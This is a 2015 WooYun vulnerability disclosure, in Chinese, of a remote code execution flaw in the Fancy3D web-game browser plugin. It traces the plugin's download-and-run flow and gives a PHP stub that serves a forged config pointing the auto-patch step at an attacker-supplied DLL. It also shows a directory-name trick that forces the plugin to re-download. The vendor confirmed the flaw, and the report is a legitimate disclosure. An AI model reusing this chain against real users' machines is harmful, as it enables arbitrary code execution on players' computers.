当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0134522

漏洞标题:如何拿下几十万热门页游玩家的电脑(Fancy3D游戏引擎远程代码执行漏洞)

相关厂商:ate.cn

漏洞作者: 路人甲

提交时间:2015-09-22 11:47

修复时间:2015-12-21 11:52

公开时间:2015-12-21 11:52

漏洞类型:远程代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-22: 细节已通知厂商并且等待厂商处理中
2015-09-22: 厂商已经确认,细节仅向厂商公开
2015-09-25: 细节向第三方安全合作伙伴开放
2015-11-16: 细节向核心白帽子及相关领域专家公开
2015-11-26: 细节向普通白帽子公开
2015-12-06: 细节向实习白帽子公开
2015-12-21: 细节向公众公开

简要描述:

标题一定要性感,漏洞类型一定要叼,自评rank一定要高 这样才会有闪电
这几年页游越来越火,大有取代端游的趋势。从早期的文字游戏,到后来的js、flash、3D,游戏引擎日益成熟,捞钱手段越发精明。辉煌的背后,安全问题却很少被人提起。
今天,路人甲就来丢个重磅炸弹。(没错我就是匿名 你找的到我么)
你玩XXX么?玩?哦 那你是我的肉鸡了
你玩XX么?不玩?那你玩过XXX么?半年前玩过1分钟?哦 那你也是我的肉鸡了
你玩XX么?不玩?XXX也不玩?你是开发者?哦 那你还是我的肉鸡
下面开始很严肃的详细说明。哦对 你们要3个月后才能看到 哈哈 怪我咯

详细说明:

北京青果灵动科技有限公司自主研发的3D网页游戏引擎Fancy3D。测试中发现有参数可任意控制 最终实现远程命令执行。以下是分析过程:
先来看看游戏加载页面 这里选了一款苏州争渡科技有限公司开发游戏 三国武神
为保持卷面整洁,代码有删减
游戏主页面:http://s18.37wan.sgws.ate.cn/tapi/v1/otplat/login?platform=xxxxxx

<script src="http://s18.37wan.sgws.ate.cn/proxy/getvjs/x52/18"></script>//加载后期配置
<script src="http://res.ly.sgws.g.1360.com/static/52xiyou/js/logic1.2.js"></script>//Fancy3D插件启动脚本
this.logincode = (function(){
var box = 'no';
if(_self.platform == 'xunlei'){
try { window.external.GetClientInfo(); box = 'xunlei';} catch(e) { box = 'no'; }
}
return 'foaparam=lordcrab:\/\/sn=18服\x26sa=s18.37wan.sgws.ate.cn:3018\x26tl=1439716841\x26un=p37_18_xutianle2\x26cc=某个md5\x26nc=p37_18_xutianle2\x26dx=\x26ndx=\x26cv=test3\/\x26api=http:\/\/s18.37wan.sgws.ate.cn\/proxy\/getv\/x52\/18\x26xcn=test\x26xcv=3&xdt=' + box + '# http:\/\/s18.37wan.sgws.ate.cn\/proxy\/getv\/x52\/18 a 3 test 1';
}()); //logincode生成 下面会说到


先看看http://s18.37wan.sgws.ate.cn/proxy/getvjs/x52/18

window.gameversion="1400301";window.TangRen_AutoPatch="http://res.ly.sgws.g.1360.com/updateot/TangRen-AutoPatch5.18.zip";window.fancydownurlx64="http://res.ly.sgws.g.1360.com/static/fancy/down64.dll";window.fancyentryurl="http://res.ly.sgws.g.1360.com/static/fancy/SangoWebEntry.exe";window.clientversion="1.0";window.versions="1400229";window.fancydownurlx86="http://res.ly.sgws.g.1360.com/static/fancy/down.dll";window.entrymd5="8cbed3568c343907430a7a4c5b1ac428";window.mfc="http://res.ly.sgws.g.1360.com/updateot/mfc.zip";window.TangRenPluginSetUp="http://res.ly.sgws.g.1360.com/updateot/TangRenPluginSetUp1.4.zip";window.fancymd5x64="dd6ffd1aedc204efec3a722ec670f176";window.fancymd5x86="aa401a6cb0f487078b75454576eba479";window.version="1.0";


这里面定义了一些初始化的配置 方便解说下面称这段配置为“配置一”
然后来看启动插件的部分logic1.2.js

....以上省略....
//-------------------------------------------
//启动青果插件
function load_fancy_html_obj(){
var attr = _E.browser == 'ie'?'classid="clsid:b2e8d85e-c0c5-48df-8dbc-1359b339ae32"' : 'type="application/fancy-npruntime-fancy3d-plugin"';
var liburl = window.fancydownurlx86;
var libmd5 = window.fancymd5x86;
if(_E.browser == 'ie' && _E.platform == 'x64'){
liburl = window.fancydownurlx64;
libmd5 = window.fancymd5x64;
}
var tr_pick_url = 'http://'+_G.pickurl+'/pick/multiinfo',
tr_createTokenUrl = 'http://'+_G.apiHost+'/createtoken?token=' + _G.tr_token,
tr_createTokenKey = 'none',
tr_createTokenName = 'none';
var param1 = _G.username + ' ' + tr_pick_url + ' ' + tr_createTokenUrl + ' ' + tr_createTokenKey + ' '+ tr_createTokenName + ' ' + _G.logincode;

var html = '<object id="fancy3d_object" ' + attr + '>'+
'<param name="game" value="ZDSGGame" />'+
'<param name="nprver" value="0.0.2.17" />'+
'<param name="ocxver" value="0.0.2.17" />'+
'<param name="liburl" value="' + liburl + '" />'+
'<param name="libmd5" value="' + libmd5 + '" />'+
'<param name="unsafelib" value="allow" />'+
'<param name="param1" value="exeparam=40 ' + param1 + '" />'+
'<param name="exename" value="SangoWebEntry.exe" />'+
'<param name="exeurl" value="' + window.fancyentryurl + '" />'+
'<param name="exemd5" value="' + window.entrymd5 + '" />'+
'</object>';
$("#fancy3d_divbox").html(html);
}
....以下省略....


其中的重要变量(意思是如果这个变量有问题,插件就不会启动或者无法执行下去)有
attr 根据浏览器选择插件加载方式
liburl 插件启动后首先下载的文件 来自配置一的window.fancydownurlx86
libmd5 顾名思义 上面一个文件的MD5 来自配置一的window.fancymd5x86
exeurl 游戏主程序的地址 来自配置一window.fancyentryurl
exemd5 游戏主程序md5 来自配置一的window.entrymd5
param1 普通参数传递 这里面比较重要的是_G.logincode 来源在上面
下面说说观察到的流程:
1、点开网页后,首先加载fancy3d插件
2、插件启动后,在C:\Users\用户\fancy\下创建目录ZDSGGame
3、插件下载liburl(down.dll)并加载
4、插件下载游戏主程序SangoWebEntry.exe并启动
5、SangoWebEntry.exe请求logincode中的api获取版本号
6、SangoWebEntry.exe请求http://s18.37wan.sgws.ate.cn/proxy/getv/x52/18(来源logincode) 内容如下:

{"gameversion": "1400301", "TangRen_AutoPatch": "http://res.ly.sgws.g.1360.com/updateot/TangRen-AutoPatch5.18.zip", "fancydownurlx64": "http://res.ly.sgws.g.1360.com/static/fancy/down64.dll", "fancyentryurl": "http://res.ly.sgws.g.1360.com/static/fancy/SangoWebEntry.exe", "clientversion": "1.0", "versions": "1400229", "fancydownurlx86": "http://res.ly.sgws.g.1360.com/static/fancy/down.dll", "entrymd5": "8cbed3568c343907430a7a4c5b1ac428", "mfc": "http://res.ly.sgws.g.1360.com/updateot/mfc.zip", "TangRenPluginSetUp": "http://res.ly.sgws.g.1360.com/updateot/TangRenPluginSetUp1.4.zip", "fancymd5x64": "dd6ffd1aedc204efec3a722ec670f176", "fancymd5x86": "aa401a6cb0f487078b75454576eba479", "version": "1.0"}


7、SangoWebEntry.exe从上一步请求结果中取出TangRen_AutoPatch地址并下载解压到client目录
8、SangoWebEntry.exe从client目录解压TangRen-AutoPatch5.18.zip并载入TangRen-AutoPatch.dll开始自动更新
9、自动更新完毕 进入游戏
从以上流程可以看到 如果3 4 6 这几步的内容可被任意控制 那就可以下载并执行任意的exe或者dll了
实际测试发现3(liburl) 4(exeurl)这两个参数只要一改域名 插件就不运行,应该是做了检查了
第6步的下载地址来自http://s18.37wan.sgws.ate.cn/proxy/getv/x52/18
http://s18.37wan.sgws.ate.cn/proxy/getv/x52/18来自logincode
logincode可控 而且按照格式修改的话 插件可以正确读取加载 于是搭建测试环境如下
首先写一个TangRen-AutoPatch.dll 如图
poc而已 求不吐槽

dllcode.png


然后打包成TangRen-AutoPatch5.18.zip放到web目录下
然后新建一个php文件

<?php
if($_GET['type'] == 'gameversion'){ //流程第5步请求的api 图方便我也改成这里了
die('1400301');
}else{
echo '{"gameversion": "1400303", "TangRen_AutoPatch": "http://localhost/updateot/TangRen-AutoPatch5.18.zip", "fancydownurlx64": "http://localhost/static/fancy/down64.dll", "fancyentryurl": "http://localhost/static/fancy/SangoWebEntry.exe", "clientversion": "1.1", "versions": "1400303", "fancydownurlx86": "http://localhost/static/fancy/down.dll", "entrymd5": "9cbed3568c343907430a7a4c5b1ac428", "mfc": "http://localhost/updateot/mfc.zip", "TangRenPluginSetUp": "http://localhost/TangRenPluginSetUp1.4.zip", "fancymd5x64": "dd6efd1aedc204efec3a722ec670f176", "fancymd5x86": "ba401a6cb0f487078b75454576eba479", "version": "1.0"}';
}


其中最主要的是这段

"TangRen_AutoPatch": "http://localhost/TangRen-AutoPatch5.18.zip"


然后修改一下游戏主页面 浏览器打开,然后什么都没有发生。。。
继续查看插件log发现TangRen_AutoPatch只会在游戏第一次安装的时候被下载和执行(或者版本更新?这里没研究下去)
需要游戏第一次加载 我们就再来看看游戏第一次加载的流程 其中第二步
2、插件启动后,在C:\Users\用户\fancy\下创建目录ZDSGGame
这个ZDSGGame是不是很眼熟 在游戏加载插件的时候 有个game参数的值就是这个

var html = '<object id="fancy3d_object" ' + attr + '>'+
'<param name="game" value="ZDSGGame" />'+


抱着试试看的态度 把这里的ZDSGGame改成了ZDSGGame1,重新用浏览器打开,等了大概5秒 刷的一下就弹出了熟悉的计算器
查看C:\Users\用户\fancy\ 果然生成了ZDSGGame1目录

tree.png


后记:
市面上好多热门游戏包括暗黑之光 佛本是道 等等等等都在用这款插件 虽然具体流程略有不同,但是他们是共享的同一个网页插件
classid:b2e8d85e-c0c5-48df-8dbc-1359b339ae32
所以只要玩过任何一款这个插件的游戏,就可以被攻击,当然也包括安装了这个插件的开发者,标题不算夸大吧。

漏洞证明:

由于插件是跨浏览器的,所以测试firefox ie 360浏览器极速模式(兼容模式)都可以成功运行

firefox.png


360.png

修复方案:

检查做全套,细节最重要

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-09-22 11:51

厂商回复:

会安排及时处理

最新状态:

暂无